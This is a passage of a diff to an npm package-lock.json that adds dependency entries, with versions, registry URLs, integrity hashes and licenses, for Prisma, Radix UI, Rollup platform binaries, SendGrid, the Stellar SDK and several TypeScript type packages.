"sha512-DJ4c6xvVnm3s9ZUyql9nCUicADSqyvH+CjXRCM9L6m5zJxCNmebCElG6X4irICq3rosBwlX+S19Dxq/4IrZk3A==", + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.10.1" + } + }, + "node_modules/@prisma/engines": { + "version": "7.10.1", + "resolved": "https://registry.npmjs.org/@prisma/engines/-/engines-7.10.1.tgz", + "integrity": "sha512-R6/ghv1Bu36FhCdQLFof1pNtyoWoeDzJLYeTKjgqb4eGtOAJx7ZqJtcm4pzkahLfZ9rYz8AkmsMDwkyiYbXPCQ==", + "devOptional": true, + "hasInstallScript": true, + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.10.1", + "@prisma/engines-version": "8.1.0-1.d1b3f377ca835d73fd50954a5e22128b9ebdd6b8", + "@prisma/fetch-engine": "7.10.1", + "@prisma/get-platform": "7.10.1" + } + }, + "node_modules/@prisma/engines-version": { + "version": "8.1.0-1.d1b3f377ca835d73fd50954a5e22128b9ebdd6b8", + "resolved": "https://registry.npmjs.org/@prisma/engines-version/-/engines-version-8.1.0-1.d1b3f377ca835d73fd50954a5e22128b9ebdd6b8.tgz", + "integrity": "sha512-XjXmwjN2NE340RpXoXv8ZF8aNAvr0FE+7gNfkKeW6vyjXs7F8uxvEbWQoVrhioXDQoIsnNmv7r+wxvzfdEZaWA==", + "devOptional": true, + "license": "Apache-2.0" + }, + "node_modules/@prisma/engines/node_modules/@prisma/get-platform": { + "version": "7.10.1", + "resolved": "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-7.10.1.tgz", + "integrity": "sha512-iVnghHne5vcaobBjPVCMEjh5r/1UCj394EIGTUclasFRatpR/MQwcM2veLv5kgoFSyYP54nch/lNFCQRYcDxvg==", + "devOptional": true, + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.10.1" + } + }, + "node_modules/@prisma/fetch-engine": { + "version": "7.10.1", + "resolved": "https://registry.npmjs.org/@prisma/fetch-engine/-/fetch-engine-7.10.1.tgz", + "integrity": "sha512-qZezeaExLWG2ptbHOrMxdiWluKHgqEclTdJbvY6pk6+Wg7EiVkeq5U3cXz9ti8nd0bngNvsDgledLHVRg5LF1w==", + "devOptional": true, + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.10.1", + "@prisma/engines-version": "8.1.0-1.d1b3f377ca835d73fd50954a5e22128b9ebdd6b8", + "@prisma/get-platform": "7.10.1" + } + }, + "node_modules/@prisma/fetch-engine/node_modules/@prisma/get-platform": { + "version": "7.10.1", + "resolved": "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-7.10.1.tgz", + "integrity": "sha512-iVnghHne5vcaobBjPVCMEjh5r/1UCj394EIGTUclasFRatpR/MQwcM2veLv5kgoFSyYP54nch/lNFCQRYcDxvg==", + "devOptional": true, + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.10.1" + } + }, + "node_modules/@prisma/get-platform": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-7.2.0.tgz", + "integrity": "sha512-k1V0l0Td1732EHpAfi2eySTezyllok9dXb6UQanajkJQzPUGi3vO2z7jdkz67SypFTdmbnyGYxvEvYZdZsMAVA==", + "devOptional": true, + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.2.0" + } + }, + "node_modules/@prisma/get-platform/node_modules/@prisma/debug": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/@prisma/debug/-/debug-7.2.0.tgz", + "integrity": "sha512-YSGTiSlBAVJPzX4ONZmMotL+ozJwQjRmZweQNIq/ER0tQJKJynNkRB3kyvt37eOfsbMCXk3gnLF6J9OJ4QWftw==", + "devOptional": true, + "license": "Apache-2.0" + }, + "node_modules/@prisma/query-plan-executor": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/@prisma/query-plan-executor/-/query-plan-executor-7.2.0.tgz", + "integrity": "sha512-EOZmNzcV8uJ0mae3DhTsiHgoNCuu1J9mULQpGCh62zN3PxPTd+qI9tJvk5jOst8WHKQNwJWR3b39t0XvfBB0WQ==", + "devOptional": true, + "license": "Apache-2.0" + }, + "node_modules/@prisma/streams-local": { + "version": "0.1.11", + "resolved": "https://registry.npmjs.org/@prisma/streams-local/-/streams-local-0.1.11.tgz", + "integrity": "sha512-0TcebL559MByKqTJ+SsrFIEg228iw8UCVRFckzgfRSiJqczhs+MuAgWOF9lnOIV/IVqvu+KMnFTH0eDeTQMpUg==", + "devOptional": true, + "license": "Apache-2.0", + "dependencies": { + "ajv": "^8.12.0", + "better-result": "^2.7.0", + "env-paths": "^3.0.0", + "proper-lockfile": "^4.1.2" + }, + "engines": { + "bun": ">=1.2.0", + "node": ">=22.0.0" + } + }, + "node_modules/@prisma/studio-core": { + "version": "0.33.0", + "resolved": "https://registry.npmjs.org/@prisma/studio-core/-/studio-core-0.33.0.tgz", + "integrity": "sha512-V2fX/nKEymNTrHXwfP26PGjoLStO35Ogu+ex7CFJbLrMYEcZxxZpiSNOs7px23Hk5mzLWvM5RsqG6Ka+rha+wg==", + "devOptional": true, + "license": "Apache-2.0", + "dependencies": { + "@radix-ui/react-toggle": "1.1.10", + "@visx/curve": "4.0.1-alpha.0", + "@visx/event": "4.0.1-alpha.0", + "@visx/grid": "4.0.1-alpha.0", + "@visx/group": "4.0.1-alpha.0", + "@visx/responsive": "4.0.1-alpha.0", + "@visx/scale": "4.0.1-alpha.0", + "@visx/shape": "4.0.1-alpha.0", + "d3-array": "3.2.4", + "d3-shape": "3.2.0", + "elkjs": "0.11.1" + }, + "engines": { + "node": "^20.19 || ^22.12 || >=24.0", + "pnpm": "8" + }, + "peerDependencies": { + "@types/react": "^18.0.0 || ^19.0.0", + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@radix-ui/primitive": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.3.tgz", + "integrity": "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@radix-ui/react-compose-refs": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.2.tgz", + "integrity": "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==", + "devOptional": true, + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-primitive": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz", + "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@radix-ui/react-slot": "1.2.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-slot": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", + "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-toggle": { + "version": "1.1.10", + "resolved": "https://registry.npmjs.org/@radix-ui/react-toggle/-/react-toggle-1.1.10.tgz", + "integrity": "sha512-lS1odchhFTeZv3xwHH31YPObmJn8gOg7Lq12inrr0+BH/l3Tsq32VfjqH1oh80ARM3mlkfMic15n0kg4sD1poQ==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-controllable-state": "1.2.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-controllable-state": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.2.2.tgz", + "integrity": "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@radix-ui/react-use-effect-event": "0.0.2", + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-effect-event": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-effect-event/-/react-use-effect-event-0.0.2.tgz", + "integrity": "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-layout-effect": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.1.tgz", + "integrity": "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==", + "devOptional": true, + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.63.2.tgz", + "integrity": "sha512-Xa6RDoWa+hNiX6PgsljlH6W75RaONx3y6PVlbLhkEWW+GaPQ3dP5gwbL/erAzQHWwkvW5UxdD5l87Qx2FAQ/4A==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.63.2.tgz", + "integrity": "sha512-vNASxsghMfQ5s+v3PrpnJd+ryL/26lxCCaGI+sDJ7VzmHiYXIrrVltsDhaawxLM1WcoMU2oYlbPHLaYQtBzhcg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.63.2.tgz", + "integrity": "sha512-0dWDjmlrpZAgjPD/aPzUDhBW8APLRjAni5bOrM76wiiZm+E+KTMVKNhAzaTBohz8UyO2fKNAl0+fygbe2HZXOA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.63.2.tgz", + "integrity": "sha512-N58uktcwzk3+qT4KHEuNdIxX1N01RWrkfVoml69EAbSaNDL+sbNVLx2RMl4Qd23lpA0fgPvyh5hHb4weD5WKmg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.63.2.tgz", + "integrity": "sha512-HWF2zH8EAp2scWRpt2PGe6iUGz7zi04waXsdRr3zb4DWCk2ImIo5FZu0jjmD53nP/DGSvnW0e7/1ToCNZs2lZw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.63.2.tgz", + "integrity": "sha512-MkvcwHMnzPSMOQEwB6wHnLzmc+hT8BGc5bW/Mhmjjgx3wbj6VBnlc47XsK74kD0K9MikFfXpQqyz4NUXaUW62A==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.63.2.tgz", + "integrity": "sha512-xe1bCKPJaKsD0tfd7Rb6bGfUogJTpKbTEEthsfdb7hTfTRNJVQTdirabQx0o6ERVba/smkM720soMY+0QnrlSQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.63.2.tgz", + "integrity": "sha512-yOM7LdK0p6gk6+Q773OEwtlsikT1TL3yMmYsTtRlDRPha5vV2DC5x7LqRWDr6f3cSYNMKVqxzffXv8ivxNBIFQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.63.2.tgz", + "integrity": "sha512-qiWuJJV3DybA2IfzvRimeKXGrGuVPv1zobSY/26KnP3HbV0VcNb3ECzgvtbvF3xjSMkcooou6HASXZuLdjnhpQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.63.2.tgz", + "integrity": "sha512-akcZquRzCY/KpUoZAMBhGf7oi4LmXq1BzRA5CPAC3rkUf28Y/sAYV3jSL+JKd7cwEyFvR5G0XVZ0gaMedP+60A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.63.2.tgz", + "integrity": "sha512-fNwYHrPyYyxauPzX/cpYw8Z7LQpp+DGA0KCoswA0aVFBpmdMil9XgjB8V3Ny64Ihu797+GKcuJqnsOKEmor7fA==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-musl": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.63.2.tgz", + "integrity": "sha512-XfvsgzR7DZqREdst7K1Mj3ilSUM5xLAHJcIMDFPKdxTs9q5VHOT8aMA+a683fqBu7DQl8+Sd9HCsQYL8EMY9qA==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.63.2.tgz", + "integrity": "sha512-Pp7gVZggEFlbcuztay+/U0gVG9S1XAh8i7I1Re/htbAzo43P5wHZHw6pTyzotISqlKohoh9RpIfnOz3RbemK1w==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-musl": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.63.2.tgz", + "integrity": "sha512-zkgL2xff6i7u5hau/m6FGeS8gRkLEdgLw522WGmdWWlLd9btmNl3S80mcEjtGq+kvgUekQ3+BOYLLLcPlS2LIA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.63.2.tgz", + "integrity": "sha512-qOheJomrkVCbbHFJ7L3J97cnhfogKqguAQphv26+3ZsAQIF1L19b+dArl//s8rjJHJLz9byykyM8NBP4nmSa1g==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-musl": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.63.2.tgz", + "integrity": "sha512-XlxLD54wQhH3FciCgMofxBw27NzUe818gJH410qWvc41UT0ZFcgxVjyX5/EK8MPTupjeVWqN5oy+9pCA9mqfCA==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.63.2.tgz", + "integrity": "sha512-vdryWeRb2bLJZf0Fv/W8se6nvsHe2PkTCxV0meheK3nQE+G90VCJcke51Miy1yQRsfm2uqIyjXOu4wmUzbTtkQ==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.63.2.tgz", + "integrity": "sha512-bcq2h2pkKmH2po4cZV8VWzO4lL40STyu/nLoFpYMQp9C2tCVNTdcVv86MwSsn3D5s1FBe2Ty1atqvVAUTMimNg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.63.2.tgz", + "integrity": "sha512-EGoo5DMVMRkTId8fuTDaoxVlR5ZTsKULUezRjd9gCw5eeY+DjCvDpZAOlNUvKPGX+7rS1RWx6j+yOpNPx0cUgQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-openbsd-x64": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.63.2.tgz", + "integrity": "sha512-MErl12k7BFHZG1TI9QF/3lSSZARzq9KgNy/FjnqFMCkv+N4RSSzoUCA5h2mqHX4Mox3WaTVKblyzhQ1zRb2ZuQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.63.2.tgz", + "integrity": "sha512-ILs8k07Wh4p0PsNY4wYLEaXZKMOpVhrG5QDB0yHhGhuzOfDlnyHN6sflL4El/MpUP1y8uY2lUZrv4oBS6pTT3g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.63.2.tgz", + "integrity": "sha512-hKgB3nz/TKD3Wv78XEsyXzQsNjvhOHmwKQTvXADGOyU/cIClZDO7DsoggbdmJDPGp5V80tA3Vfv61PaKTLH3LA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.63.2.tgz", + "integrity": "sha512-T4wf1mudIDxN8Q/CWIBJC1u5gQUc+r5mPvlwoSbIvNkyVTP2TAFeobEmst5AQ4gMyAz4sSByVdoTDfvTmGK/8g==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.63.2.tgz", + "integrity": "sha512-tC3IY7qoaD9Ll3/8WJQn49j5V2f/NuI9S41NOE2iM5MPs3sPIvOkVToLcz/7Bz4pyF7PSvrtwu8I/pUrGOSecQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.63.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.63.2.tgz", + "integrity": "sha512-6NHnk/K3eq2ZFYcU1X8g67s9qIJRCOTT92gwLMVBp08dB2uuuwI1/Q/empzL2Bfr2f2WRLJVwpp90RmacQyFkw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@sendgrid/client": { + "version": "8.1.6", + "resolved": "https://registry.npmjs.org/@sendgrid/client/-/client-8.1.6.tgz", + "integrity": "sha512-/BHu0hqwXNHr2aLhcXU7RmmlVqrdfrbY9KpaNj00KZHlVOVoRxRVrpOCabIB+91ISXJ6+mLM9vpaVUhK6TwBWA==", + "license": "MIT", + "dependencies": { + "@sendgrid/helpers": "^8.0.0", + "axios": "^1.12.0" + }, + "engines": { + "node": ">=12.*" + } + }, + "node_modules/@sendgrid/helpers": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/@sendgrid/helpers/-/helpers-8.0.0.tgz", + "integrity": "sha512-Ze7WuW2Xzy5GT5WRx+yEv89fsg/pgy3T1E3FS0QEx0/VvRmigMZ5qyVGhJz4SxomegDkzXv/i0aFPpHKN8qdAA==", + "license": "MIT", + "dependencies": { + "deepmerge": "^4.2.2" + }, + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/@sendgrid/mail": { + "version": "8.1.6", + "resolved": "https://registry.npmjs.org/@sendgrid/mail/-/mail-8.1.6.tgz", + "integrity": "sha512-/ZqxUvKeEztU9drOoPC/8opEPOk+jLlB2q4+xpx6HVLq6aFu3pMpalkTpAQz8XfRfpLp8O25bh6pGPcHDCYpqg==", + "license": "MIT", + "dependencies": { + "@sendgrid/client": "^8.1.5", + "@sendgrid/helpers": "^8.0.0" + }, + "engines": { + "node": ">=12.*" + } + }, + "node_modules/@standard-schema/spec": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", + "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@stellar/js-xdr": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@stellar/js-xdr/-/js-xdr-4.0.0.tgz", + "integrity": "sha512-+NmNa7Tk5BI5XFdy/6xGTqAN4J9a9KgCrCGhj2uEUTCBhLkch0M+QbKzNH8zEnejWe0p8w+0q5hUVX6L3OzoVA==", + "license": "Apache-2.0", + "engines": { + "node": ">=20.0.0", + "pnpm": ">=9.0.0" + } + }, + "node_modules/@stellar/stellar-sdk": { + "version": "16.3.1", + "resolved": "https://registry.npmjs.org/@stellar/stellar-sdk/-/stellar-sdk-16.3.1.tgz", + "integrity": "sha512-PPM1JA51NChSPyMkh+T9sHxJtP/v9e9Gcyc2BMNvnGvbZwqoKJclRSdPgmalLDAmTnTewGs7VMM9nRxDeCzzgQ==", + "license": "Apache-2.0", + "dependencies": { + "@noble/ed25519": "^3.1.0", + "@noble/hashes": "^2.2.0", + "@stellar/js-xdr": "4.0.0", + "axios": "1.18.0", + "base32.js": "^0.1.0", + "bignumber.js": "^11.1.4", + "buffer": "^6.0.3", + "commander": "^14.0.3", + "eventsource": "^4.1.0", + "feaxios": "^0.0.23", + "smol-toml": "^1.6.1", + "uint8array-extras": "^1.5.0" + }, + "bin": { + "stellar-js": "bin/stellar-js" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/@stellar/stellar-sdk/node_modules/@noble/hashes": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-2.4.0.tgz", + "integrity": "sha512-X5XaVWZIBCT7HHZGm5I7ZQXDwLG+bGXuSrMQAW+7Zvl87h1kmc1ZB1VSRJcpUfoUrGQp4Fkoxm5kZ+Ms+aW+eA==", + "license": "MIT", + "engines": { + "node": ">= 20.19.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/@types/bcryptjs": { + "version": "2.4.6", + "resolved": "https://registry.npmjs.org/@types/bcryptjs/-/bcryptjs-2.4.6.tgz", + "integrity": "sha512-9xlo6R2qDs5uixm0bcIqCeMCE6HiQsIyel9KQySStiyqNl2tnj2mP3DX1Nf56MD6KMenNNlBBsy3LJ7gUEQPXQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/body-parser": { + "version": "1.19.6", + "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.6.tgz", + "integrity": "sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "node_modules/@types/chai": { + "version": "5.2.3", + "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", + "integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/deep-eql": "*", + "assertion-error": "^2.0.1" + } + }, + "node_modules/@types/connect": { + "version": "3.4.38", + "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.38.tgz", + "integrity": "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/cookie-parser": { + "version": "1.4.10", + "resolved": "https://registry.npmjs.org/@types/cookie-parser/-/cookie-parser-1.4.10.tgz", + "integrity": "sha512-B4xqkqfZ8Wek+rCOeRxsjMS9OgvzebEzzLYw7NHYuvzb7IdxOkI0ZHGgeEBX4PUM7QGVvNSK60T3OvWj3YfBRg==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "@types/express": "*" + } + }, + "node_modules/@types/cookiejar": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@types/cookiejar/-/cookiejar-2.1.5.tgz", + "integrity": 